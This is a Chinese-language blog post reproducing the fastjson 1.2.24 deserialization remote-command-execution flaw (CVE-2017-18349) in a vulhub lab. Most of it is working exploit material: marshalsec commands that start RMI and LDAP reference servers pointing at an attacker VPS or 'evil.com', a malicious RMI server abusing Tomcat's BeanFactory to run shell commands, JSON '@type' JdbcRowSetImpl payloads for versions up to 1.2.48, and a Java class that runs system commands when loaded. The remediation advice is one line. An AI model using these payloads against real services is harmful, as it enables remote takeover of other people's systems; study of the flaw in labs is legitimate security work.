fastjson1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)

fastjson1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)

影响

1、基于rmi的利用方式
适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。
利用方式:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps:8080/test/#Exploit 9999 

2、基于ldap的利用方式
适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。
利用方式:

java -cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS:8080/test/#Exploitt 9999 

3、基于BeanFactory的利用方式
适用jdk版本:JDK 11.0.1、8u191、7u201、6u211以后。
利用前提:因为这个利用方式需要借助服务器本地的类,而这个类在tomcat的jar包里面,一般情况下只能在tomcat上可以利用成功。
利用方式:

public class EvilRMIServerNew {     public static void main(String[] args) throws Exception {         System.out.println("Creating evil RMI registry on port 1097");         Registry registry = LocateRegistry.createRegistry(1097);          //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory         ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);         //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code         ref.add(new StringRefAddr("forceString", "x=eval"));         //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows         ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app/']).start()")"));          ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);         registry.bind("Object", referenceWrapper);      } }  

payload:

适用范围 版本 <= 1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true} 

适用范围 版本 <= 1.2.48

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}" 

复现

漏洞环境

使用vulhub环境:

docker-compose up -d

主机 ip
靶机:ubuntu20 192.168.237.138
攻击机:kali2020 192.168.237.139
vps:windows10存放远程调用的rmi即exp 192.168.237.1

准备脚本

exp:需要编译成class字节码文件,放在vps上供靶机远程调用

// javac TouchFile.java import java.lang.Runtime; import java.lang.Process;  public class TouchFile {     static {         try {             Runtime rt = Runtime.getRuntime();             String[] commands = {"touch", "/tmp/success"};             Process pc = rt.exec(commands);             pc.waitFor();         } catch (Exception e) {             // do nothing         }     } }  

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:

Java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999 
fastjson1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)
访问漏洞链接,抓包改包。
fastjson1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)

修复

及时打上官方补丁。。

参考链接

https://www.cnblogs.com/sijidou/p/13121332.html
https://www.freebuf.com/vuls/208339.html
https://zhuanlan.zhihu.com/p/151735318

版权声明:玥玥 发表于 2021-07-26 7:52:32。
转载请注明:fastjson1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349) | 女黑客导航